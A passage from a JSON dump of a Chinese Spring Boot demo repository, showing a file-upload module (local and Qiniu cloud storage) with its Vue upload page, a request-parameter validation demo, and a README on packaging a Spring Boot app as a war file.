    "content": "package com.jun.plugin.upload.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\n\n/**\n * <p>\n * 首页Controller\n * </p>\n *\n * @package: com.xkcoding.upload.controller\n * @description: 首页Controller\n * @author: shenyangkai\n * @date: Created in 2018/10/20 21:22\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: shenyangkai\n */\n@Controller\npublic class IndexController {\n    @GetMapping(\"\")\n    public String index() {\n        return \"index\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/java/com/jun/plugin/upload/controller/UploadController.java",
    "content": "package com.jun.plugin.upload.controller;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.io.FileUtil;\nimport cn.hutool.core.lang.Dict;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\n\nimport com.jun.plugin.upload.service.IQiNiuService;\nimport com.qiniu.http.Response;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.File;\nimport java.io.IOException;\n\n/**\n * <p>\n * 文件上传 Controller\n * </p>\n *\n * @package: com.xkcoding.upload.controller\n * @description: 文件上传 Controller\n * @author: yangkai.shen\n * @date: Created in 2018/11/6 16:33\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@Slf4j\n@RequestMapping(\"/upload\")\npublic class UploadController {\n\t@Value(\"${spring.servlet.multipart.location}\")\n\tprivate String fileTempPath;\n\n\t@Value(\"${qiniu.prefix}\")\n\tprivate String prefix;\n\n\tprivate final IQiNiuService qiNiuService;\n\n\t@Autowired\n\tpublic UploadController(IQiNiuService qiNiuService) {\n\t\tthis.qiNiuService = qiNiuService;\n\t}\n\n\t@PostMapping(value = \"/local\", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)\n\tpublic Dict local(@RequestParam(\"file\") MultipartFile file) {\n\t\tif (file.isEmpty()) {\n\t\t\treturn Dict.create().set(\"code\", 400).set(\"message\", \"文件内容为空\");\n\t\t}\n\t\tString fileName = file.getOriginalFilename();\n\t\tString rawFileName = StrUtil.subBefore(fileName, \".\", true);\n\t\tString fileType = StrUtil.subAfter(fileName, \".\", true);\n\t\tString localFilePath = StrUtil.appendIfMissing(fileTempPath, \"/\") + rawFileName + \"-\" + DateUtil.now() + \".\" + fileType;\n\t\ttry {\n\t\t\tfile.transferTo(new File(localFilePath));\n\t\t} catch (IOException e) {\n\t\t\tlog.error(\"【文件上传至本地】失败，绝对路径：{}\", localFilePath);\n\t\t\treturn Dict.create().set(\"code\", 500).set(\"message\", \"文件上传失败\");\n\t\t}\n\n\t\tlog.info(\"【文件上传至本地】绝对路径：{}\", localFilePath);\n\t\treturn Dict.create().set(\"code\", 200).set(\"message\", \"上传成功\").set(\"data\", Dict.create().set(\"fileName\", fileName).set(\"filePath\", localFilePath));\n\t}\n\n\t@PostMapping(value = \"/yun\", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)\n\tpublic Dict yun(@RequestParam(\"file\") MultipartFile file) {\n\t\tif (file.isEmpty()) {\n\t\t\treturn Dict.create().set(\"code\", 400).set(\"message\", \"文件内容为空\");\n\t\t}\n\t\tString fileName = file.getOriginalFilename();\n\t\tString rawFileName = StrUtil.subBefore(fileName, \".\", true);\n\t\tString fileType = StrUtil.subAfter(fileName, \".\", true);\n\t\tString localFilePath = StrUtil.appendIfMissing(fileTempPath, \"/\") + rawFileName + \"-\" + DateUtil.now() + \".\" + fileType;\n\t\ttry {\n\t\t\tfile.transferTo(new File(localFilePath));\n\t\t\tResponse response = qiNiuService.uploadFile(new File(localFilePath));\n\t\t\tif (response.isOK()) {\n\t\t\t\tJSONObject jsonObject = JSONUtil.parseObj(response.bodyString());\n\n\t\t\t\tString yunFileName = jsonObject.getStr(\"key\");\n\t\t\t\tString yunFilePath = StrUtil.appendIfMissing(prefix, \"/\") + yunFileName;\n\n\t\t\t\tFileUtil.del(new File(localFilePath));\n\n\t\t\t\tlog.info(\"【文件上传至七牛云】绝对路径：{}\", yunFilePath);\n\t\t\t\treturn Dict.create().set(\"code\", 200).set(\"message\", \"上传成功\").set(\"data\", Dict.create().set(\"fileName\", yunFileName).set(\"filePath\", yunFilePath));\n\t\t\t} else {\n\t\t\t\tlog.error(\"【文件上传至七牛云】失败，{}\", JSONUtil.toJsonStr(response));\n\t\t\t\tFileUtil.del(new File(localFilePath));\n\t\t\t\treturn Dict.create().set(\"code\", 500).set(\"message\", \"文件上传失败\");\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tlog.error(\"【文件上传至七牛云】失败，绝对路径：{}\", localFilePath);\n\t\t\treturn Dict.create().set(\"code\", 500).set(\"message\", \"文件上传失败\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/java/com/jun/plugin/upload/service/IQiNiuService.java",
    "content": "package com.jun.plugin.upload.service;\n\nimport com.qiniu.common.QiniuException;\nimport com.qiniu.http.Response;\n\nimport java.io.File;\n\n/**\n * <p>\n * 七牛云上传Service\n * </p>\n *\n * @package: com.xkcoding.upload.service\n * @description: 七牛云上传Service\n * @author: yangkai.shen\n * @date: Created in 2018/11/6 17:21\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface IQiNiuService {\n\t/**\n\t * 七牛云上传文件\n\t *\n\t * @param file 文件\n\t * @return 七牛上传Response\n\t * @throws QiniuException 七牛异常\n\t */\n\tResponse uploadFile(File file) throws QiniuException;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/java/com/jun/plugin/upload/service/impl/QiNiuServiceImpl.java",
    "content": "package com.jun.plugin.upload.service.impl;\n\nimport com.jun.plugin.upload.service.IQiNiuService;\nimport com.qiniu.common.QiniuException;\nimport com.qiniu.http.Response;\nimport com.qiniu.storage.UploadManager;\nimport com.qiniu.util.Auth;\nimport com.qiniu.util.StringMap;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\nimport java.io.File;\n\n/**\n * <p>\n * 七牛云上传Service\n * </p>\n *\n * @package: com.xkcoding.upload.service.impl\n * @description: 七牛云上传Service\n * @author: yangkai.shen\n * @date: Created in 2018/11/6 17:22\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\n@Slf4j\npublic class QiNiuServiceImpl implements IQiNiuService, InitializingBean {\n\tprivate final UploadManager uploadManager;\n\n\tprivate final Auth auth;\n\n\t@Value(\"${qiniu.bucket}\")\n\tprivate String bucket;\n\n\tprivate StringMap putPolicy;\n\n\t@Autowired\n\tpublic QiNiuServiceImpl(UploadManager uploadManager, Auth auth) {\n\t\tthis.uploadManager = uploadManager;\n\t\tthis.auth = auth;\n\t}\n\n\t/**\n\t * 七牛云上传文件\n\t *\n\t * @param file 文件\n\t * @return 七牛上传Response\n\t * @throws QiniuException 七牛异常\n\t */\n\t@Override\n\tpublic Response uploadFile(File file) throws QiniuException {\n\t\tResponse response = this.uploadManager.put(file, file.getName(), getUploadToken());\n\t\tint retry = 0;\n\t\twhile (response.needRetry() && retry < 3) {\n\t\t\tresponse = this.uploadManager.put(file, file.getName(), getUploadToken());\n\t\t\tretry++;\n\t\t}\n\t\treturn response;\n\t}\n\n\t@Override\n\tpublic void afterPropertiesSet() {\n\t\tthis.putPolicy = new StringMap();\n\t\tputPolicy.put(\"returnBody\", \"{\\\"key\\\":\\\"$(key)\\\",\\\"hash\\\":\\\"$(etag)\\\",\\\"bucket\\\":\\\"$(bucket)\\\",\\\"width\\\":$(imageInfo.width), \\\"height\\\":${imageInfo.height}}\");\n\t}\n\n\t/**\n\t * 获取上传凭证\n\t *\n\t * @return 上传凭证\n\t */\n\tprivate String getUploadToken() {\n\t\treturn this.auth.uploadToken(bucket, null, 3600, putPolicy);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nqiniu:\n  ## 此处填写你自己的七牛云 access key\n  accessKey:\n  ## 此处填写你自己的七牛云 secret key\n  secretKey:\n  ## 此处填写你自己的七牛云 bucket\n  bucket:\n  ## 此处填写你自己的七牛云 域名\n  prefix:\nspring:\n  servlet:\n    multipart:\n      enabled: true\n      location: /Users/yangkai.shen/Documents/code/back-end/spring-boot-demo/spring-boot-demo-upload/tmp\n      file-size-threshold: 5MB\n      max-file-size: 20MB"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/resources/templates/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n<head>\n\t<meta charset=\"UTF-8\">\n\t<meta name=\"viewport\"\n\t      content=\"width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n\t<title>spring-boot-demo-upload</title>\n\t<!-- import Vue.js -->\n\t<script src=\"https://cdn.bootcss.com/vue/2.5.17/vue.min.js\"></script>\n\t<!-- import stylesheet -->\n\t<link href=\"https://cdn.bootcss.com/iview/3.1.4/styles/iview.css\" rel=\"stylesheet\">\n\t<!-- import iView -->\n\t<script src=\"https://cdn.bootcss.com/iview/3.1.4/iview.min.js\"></script>\n</head>\n<body>\n<div id=\"app\">\n\t<Row :gutter=\"16\" style=\"background:#eee;padding:10%\">\n\t\t<i-col span=\"12\">\n\t\t\t<Card style=\"height: 300px\">\n\t\t\t\t<p slot=\"title\">\n\t\t\t\t\t<Icon type=\"ios-cloud-upload\"></Icon>\n\t\t\t\t\t本地上传\n\t\t\t\t</p>\n\t\t\t\t<div style=\"text-align: center;\">\n\t\t\t\t\t<Upload\n\t\t\t\t\t\t\t:before-upload=\"handleLocalUpload\"\n\t\t\t\t\t\t\taction=\"/demo/upload/local\"\n\t\t\t\t\t\t\tref=\"localUploadRef\"\n\t\t\t\t\t\t\t:on-success=\"handleLocalSuccess\"\n\t\t\t\t\t\t\t:on-error=\"handleLocalError\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<i-button icon=\"ios-cloud-upload-outline\">选择文件</i-button>\n\t\t\t\t\t</Upload>\n\t\t\t\t\t<i-button\n\t\t\t\t\t\t\ttype=\"primary\"\n\t\t\t\t\t\t\t@click=\"localUpload\"\n\t\t\t\t\t\t\t:loading=\"local.loadingStatus\"\n\t\t\t\t\t\t\t:disabled=\"!local.file\">\n\t\t\t\t\t\t{{ local.loadingStatus ? '本地文件上传中' : '本地上传' }}\n\t\t\t\t\t</i-button>\n\t\t\t\t</div>\n\t\t\t\t<div>\n\t\t\t\t\t<div v-if=\"local.log.status != 0\">状态：{{local.log.message}}</div>\n\t\t\t\t\t<div v-if=\"local.log.status === 200\">文件名：{{local.log.fileName}}</div>\n\t\t\t\t\t<div v-if=\"local.log.status === 200\">文件路径：{{local.log.filePath}}</div>\n\t\t\t\t</div>\n\t\t\t</Card>\n\t\t</i-col>\n\t\t<i-col span=\"12\">\n\t\t\t<Card style=\"height: 300px;\">\n\t\t\t\t<p slot=\"title\">\n\t\t\t\t\t<Icon type=\"md-cloud-upload\"></Icon>\n\t\t\t\t\t七牛云上传\n\t\t\t\t</p>\n\t\t\t\t<div style=\"text-align: center;\">\n\t\t\t\t\t<Upload\n\t\t\t\t\t\t\t:before-upload=\"handleYunUpload\"\n\t\t\t\t\t\t\taction=\"/demo/upload/yun\"\n\t\t\t\t\t\t\tref=\"yunUploadRef\"\n\t\t\t\t\t\t\t:on-success=\"handleYunSuccess\"\n\t\t\t\t\t\t\t:on-error=\"handleYunError\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<i-button icon=\"ios-cloud-upload-outline\">选择文件</i-button>\n\t\t\t\t\t</Upload>\n\t\t\t\t\t<i-button\n\t\t\t\t\t\t\ttype=\"primary\"\n\t\t\t\t\t\t\t@click=\"yunUpload\"\n\t\t\t\t\t\t\t:loading=\"yun.loadingStatus\"\n\t\t\t\t\t\t\t:disabled=\"!yun.file\">\n\t\t\t\t\t\t{{ yun.loadingStatus ? '七牛云文件上传中' : '七牛云上传' }}\n\t\t\t\t\t</i-button>\n\t\t\t\t</div>\n\t\t\t\t<div>\n\t\t\t\t\t<div v-if=\"yun.log.status != 0\">状态：{{yun.log.message}}</div>\n\t\t\t\t\t<div v-if=\"yun.log.status === 200\">文件名：{{yun.log.fileName}}</div>\n\t\t\t\t\t<div v-if=\"yun.log.status === 200\">文件路径：{{yun.log.filePath}}</div>\n\t\t\t\t</div>\n\t\t\t</Card>\n\t\t</i-col>\n\t</Row>\n</div>\n<script>\n\tnew Vue({\n\t\tel: '#app',\n\t\tdata: {\n\t\t\tlocal: {\n\t\t\t\t// 选择文件后，将 beforeUpload 返回的 file 保存在这里，后面会用到\n\t\t\t\tfile: null,\n\t\t\t\t// 标记上传状态\n\t\t\t\tloadingStatus: false,\n\t\t\t\tlog: {\n\t\t\t\t\tstatus: 0,\n\t\t\t\t\tmessage: \"\",\n\t\t\t\t\tfileName: \"\",\n\t\t\t\t\tfilePath: \"\"\n\t\t\t\t}\n\t\t\t},\n\t\t\tyun: {\n\t\t\t\t// 选择文件后，将 beforeUpload 返回的 file 保存在这里，后面会用到\n\t\t\t\tfile: null,\n\t\t\t\t// 标记上传状态\n\t\t\t\tloadingStatus: false,\n\t\t\t\tlog: {\n\t\t\t\t\tstatus: 0,\n\t\t\t\t\tmessage: \"\",\n\t\t\t\t\tfileName: \"\",\n\t\t\t\t\tfilePath: \"\"\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tmethods: {\n\t\t\t// beforeUpload 在返回 false 或 Promise 时，会停止自动上传，这里我们将选择好的文件 file 保存在 data里，并 return false\n\t\t\thandleLocalUpload(file) {\n\t\t\t\tthis.local.file = file;\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\t// 这里是手动上传，通过 $refs 获取到 Upload 实例，然后调用私有方法 .post()，把保存在 data 里的 file 上传。\n\t\t\t// iView 的 Upload 组件在调用 .post() 方法时，就会继续上传了。\n\t\t\tlocalUpload() {\n\t\t\t\tthis.local.loadingStatus = true;  // 标记上传状态\n\t\t\t\tthis.$refs.localUploadRef.post(this.local.file);\n\t\t\t},\n\t\t\t// 上传成功后，清空 data 里的 file，并修改上传状态\n\t\t\thandleLocalSuccess(response) {\n\t\t\t\tthis.local.file = null;\n\t\t\t\tthis.local.loadingStatus = false;\n\t\t\t\tif (response.code === 200) {\n\t\t\t\t\tthis.$Message.success(response.message);\n\t\t\t\t\tthis.local.log.status = response.code;\n\t\t\t\t\tthis.local.log.message = response.message;\n\t\t\t\t\tthis.local.log.fileName = response.data.fileName;\n\t\t\t\t\tthis.local.log.filePath = response.data.filePath;\n\t\t\t\t\tthis.$refs.localUploadRef.clearFiles();\n\t\t\t\t} else {\n\t\t\t\t\tthis.$Message.error(response.message);\n\t\t\t\t\tthis.local.log.status = response.code;\n\t\t\t\t\tthis.local.log.message = response.message;\n\t\t\t\t}\n\t\t\t},\n\t\t\t// 上传失败后，清空 data 里的 file，并修改上传状态\n\t\t\thandleLocalError() {\n\t\t\t\tthis.local.file = null;\n\t\t\t\tthis.local.loadingStatus = false;\n\t\t\t\tthis.$Message.error('上传失败');\n\t\t\t},\n\t\t\t// beforeUpload 在返回 false 或 Promise 时，会停止自动上传，这里我们将选择好的文件 file 保存在 data里，并 return false\n\t\t\thandleYunUpload(file) {\n\t\t\t\tthis.yun.file = file;\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\t// 这里是手动上传，通过 $refs 获取到 Upload 实例，然后调用私有方法 .post()，把保存在 data 里的 file 上传。\n\t\t\t// iView 的 Upload 组件在调用 .post() 方法时，就会继续上传了。\n\t\t\tyunUpload() {\n\t\t\t\tthis.yun.loadingStatus = true;  // 标记上传状态\n\t\t\t\tthis.$refs.yunUploadRef.post(this.yun.file);\n\t\t\t},\n\t\t\t// 上传成功后，清空 data 里的 file，并修改上传状态\n\t\t\thandleYunSuccess(response) {\n\t\t\t\tthis.yun.file = null;\n\t\t\t\tthis.yun.loadingStatus = false;\n\t\t\t\tif (response.code === 200) {\n\t\t\t\t\tthis.$Message.success(response.message);\n\t\t\t\t\tthis.yun.log.status = response.code;\n\t\t\t\t\tthis.yun.log.message = response.message;\n\t\t\t\t\tthis.yun.log.fileName = response.data.fileName;\n\t\t\t\t\tthis.yun.log.filePath = response.data.filePath;\n\t\t\t\t\tthis.$refs.yunUploadRef.clearFiles();\n\t\t\t\t} else {\n\t\t\t\t\tthis.$Message.error(response.message);\n\t\t\t\t\tthis.yun.log.status = response.code;\n\t\t\t\t\tthis.yun.log.message = response.message;\n\t\t\t\t}\n\t\t\t},\n\t\t\t// 上传失败后，清空 data 里的 file，并修改上传状态\n\t\t\thandleYunError() {\n\t\t\t\tthis.yun.file = null;\n\t\t\t\tthis.yun.loadingStatus = false;\n\t\t\t\tthis.$Message.error('上传失败');\n\t\t\t}\n\t\t}\n\t})\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/test/java/com/jun/plugin/upload/SpringBootDemoUploadApplicationTests.java",
    "content": "package com.jun.plugin.upload;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoUploadApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <description>SpringBoot系列——validation参数校验</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springboot_plugin</artifactId>\n        <version>1.0</version>\n    </parent>\n    <artifactId>springboot_validation</artifactId>\n    <packaging>jar</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!--引入validation依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-validation</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/java/com/jun/plugin/springbootvalidation/SpringBootValidationApplication.java",
    "content": "package com.jun.plugin.springbootvalidation;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class SpringBootValidationApplication {\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootValidationApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/java/com/jun/plugin/springbootvalidation/config/ExceptionHandlerConfig.java",
    "content": "package com.jun.plugin.springbootvalidation.config;\n\nimport com.jun.plugin.springbootvalidation.pojo.Result;\nimport org.hibernate.validator.internal.engine.path.PathImpl;\nimport org.springframework.validation.BindException;\nimport org.springframework.validation.FieldError;\nimport org.springframework.validation.ObjectError;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\nimport javax.validation.ConstraintViolation;\nimport javax.validation.ConstraintViolationException;\n\n\n/**\n * 统一异常处理\n */\n@RestControllerAdvice\npublic class ExceptionHandlerConfig {\n\n    /**\n     * validation参数校验异常 统一处理\n     */\n    @ExceptionHandler(value = BindException.class)\n    @ResponseBody\n    public Result exceptionHandler500(BindException e){\n        e.printStackTrace();\n        StringBuilder stringBuilder = new StringBuilder();\n        for (ObjectError error : e.getAllErrors()) {\n            stringBuilder.append(\"[\");\n            stringBuilder.append(((FieldError) error).getField());\n            stringBuilder.append(\" \");\n            stringBuilder.append(error.getDefaultMessage());\n            stringBuilder.append(\"]\");\n        }\n        return Result.of(10002,false,\"【参数校验失败】 \" + stringBuilder.toString());\n    }\n    @ExceptionHandler(value = ConstraintViolationException.class)\n    @ResponseBody\n    public Result exceptionHandler500(ConstraintViolationException e){\n        e.printStackTrace();\n        StringBuilder stringBuilder = new StringBuilder();\n        for (ConstraintViolation<?> error : e.getConstraintViolations()) {\n            PathImpl pathImpl = (PathImpl) error.getPropertyPath();\n            String paramName = pathImpl.getLeafNode().getName();\n            stringBuilder.append(\"[\");\n            stringBuilder.append(paramName);\n            stringBuilder.append(\" \");\n            stringBuilder.append(error.getMessage());\n            stringBuilder.append(\"]\");\n        }\n        return Result.of(10002,false,\"【参数校验失败】 \" + stringBuilder.toString());\n\n    }\n\n    /**\n     * 未知异常 统一处理\n     */\n    @ExceptionHandler(value =Exception.class)\n    @ResponseBody\n    public Result exceptionHandler(Exception e){\n        e.printStackTrace();\n        return Result.of(10001,false,\"【未知异常】 \"+e.getMessage());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/java/com/jun/plugin/springbootvalidation/controller/Controller.java",
    "content": "package com.jun.plugin.springbootvalidation.controller;\n\nimport com.jun.plugin.springbootvalidation.pojo.Result;\nimport com.jun.plugin.springbootvalidation.vo.UserVoByAdd;\nimport com.jun.plugin.springbootvalidation.vo.UserVoByEdit;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.validation.constraints.NotEmpty;\nimport javax.validation.constraints.Size;\n\n/**\n * 测试Controller\n */\n@Validated\n@RestController\n@RequestMapping(\"/test/\")\npublic class Controller {\n\n    /**\n     * 新增用户\n     */\n    @RequestMapping(\"addUser\")\n    public Result addUser(@Validated UserVoByAdd userVo){\n        System.out.println(userVo);\n        return Result.of( \"操作成功！\");\n    }\n\n    /**\n     * 编辑用户\n     */\n    @RequestMapping(\"editUser\")\n    public Result editUser(@Validated UserVoByEdit userVo){\n        System.out.println(userVo);\n        return Result.of( \"操作成功！\");\n    }\n\n    /**\n     * 根据id查找用户\n     */\n    @RequestMapping(\"findUserById\")\n    public Result findUserById(@Size(min = 1, max = 5,message = \"id超出范围\") @NotEmpty(message = \"id不能为空\") String id) {\n        System.out.println(id);\n        return Result.of( \"操作成功！\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/java/com/jun/plugin/springbootvalidation/pojo/Result.java",
    "content": "package com.jun.plugin.springbootvalidation.pojo;\n\nimport lombok.Data;\n\nimport java.io.Serializable;\n\n/**\n * 统一返回对象\n */\n\n@Data\npublic class Result<T> implements Serializable {\n    /**\n     * 通信数据\n     */\n    private T data;\n    /**\n     * 通信状态\n     */\n    private boolean flag = true;\n    /**\n     * 通信描述\n     */\n    private String msg = \"操作成功\";\n\n    /**\n     * 通过静态方法获取实例\n     */\n    public static <T> Result<T> of(T data) {\n        return new Result<>(data);\n    }\n\n    public static <T> Result<T> of(T data, boolean flag) {\n        return new Result<>(data, flag);\n    }\n\n    public static <T> Result<T> of(T data, boolean flag, String msg) {\n        return new Result<>(data, flag, msg);\n    }\n\n    @Deprecated\n    public Result() {\n\n    }\n\n    private Result(T data) {\n        this.data = data;\n    }\n\n    private Result(T data, boolean flag) {\n        this.data = data;\n        this.flag = flag;\n    }\n\n    private Result(T data, boolean flag, String msg) {\n        this.data = data;\n        this.flag = flag;\n        this.msg = msg;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/java/com/jun/plugin/springbootvalidation/vo/UserVoByAdd.java",
    "content": "package com.jun.plugin.springbootvalidation.vo;\n\nimport lombok.Data;\n\nimport javax.validation.constraints.*;\n\n/**\n * 用户Vo\n */\n@Data\npublic class UserVoByAdd {\n\n    @Pattern(regexp = \"\\\\d+$\",message = \"主键只能是数字\")\n    @NotEmpty(message = \"主键不能为空\")\n    private String id;//表id\n\n    @NotEmpty(message = \"名字不能为空\")\n    private String name;//名字\n\n    @DecimalMin(value = \"18\",message = \"年龄不能小于18岁\")\n    @DecimalMax(value = \"25\",message = \"年龄不能大于25岁\")\n    @NotNull(message = \"年龄不能为空\")\n    private Integer age;//年龄\n\n    @NotEmpty(message = \"地址不能为空\")\n    private String addr;//地址\n\n    @Email(message = \"邮件格式不正确\")\n    @NotEmpty(message = \"邮件不能为空\")\n    private String email;//邮件\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/java/com/jun/plugin/springbootvalidation/vo/UserVoByEdit.java",
    "content": "package com.jun.plugin.springbootvalidation.vo;\n\nimport lombok.Data;\n\nimport javax.validation.constraints.*;\n\n/**\n * 用户Vo\n */\n@Data\npublic class UserVoByEdit {\n\n    @NotEmpty(message = \"主键不能为空\")\n    private String id;//表id\n\n    private String name;//名字\n\n    @DecimalMin(value = \"18\",message = \"年龄不能小于18岁\")\n    @DecimalMax(value = \"25\",message = \"年龄不能大于25岁\")\n    private Integer age;//年龄\n\n    private String addr;//地址\n\n    @Email(message = \"邮件格式不正确\")\n    private String email;//邮件\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_validation/src/main/resources/application.properties",
    "content": "server.port=10010\nspring.application.name=springboot-validation\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_war/README.md",
    "content": "# spring-boot-demo-war\n\n> 本 demo 主要演示了如何将 Spring Boot 项目打包成传统的 war 包程序。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-war</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <!-- 若需要打成 war 包，则需要将打包方式改成 war -->\n    <packaging>war</packaging>\n\n    <name>spring-boot-demo-war</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>com.jun.plugin.springboot</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <!-- 若需要打成 war 包，则需要将 tomcat 引入，scope 设置为 provided -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-tomcat</artifactId>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-war</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## SpringBootDemoWarApplication.java\n\n```java\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.jun.plugin.springboot.war\n * @description: 启动器\n * @author: shenyangkai\n * @date: Created in 2018/10/30 19:37\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: shenyangkai\n */\n@SpringBootApplication\npublic class SpringBootDemoWarApplication extends SpringBootServletInitializer {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoWarApplication.class, args);\n    }\n\n    /**\n     * 若需要打成 war 包，则需要写一个类继承 {@link SpringBootServletInitializer} 并重写 {@link SpringBootServletInitializer#configure(SpringApplicationBuilder)} \n     */\n    @Override\n    protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n        return application.sources(SpringBootDemoWarApplication.class);\n    }\n}\n```\n\n## 参考\n\nhttps://docs.spring.io/spring-boot/docs/2.1.0.RELEASE/reference/htmlsingle/#howto-create-a-deployable-war-file\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_war/pom.xml",
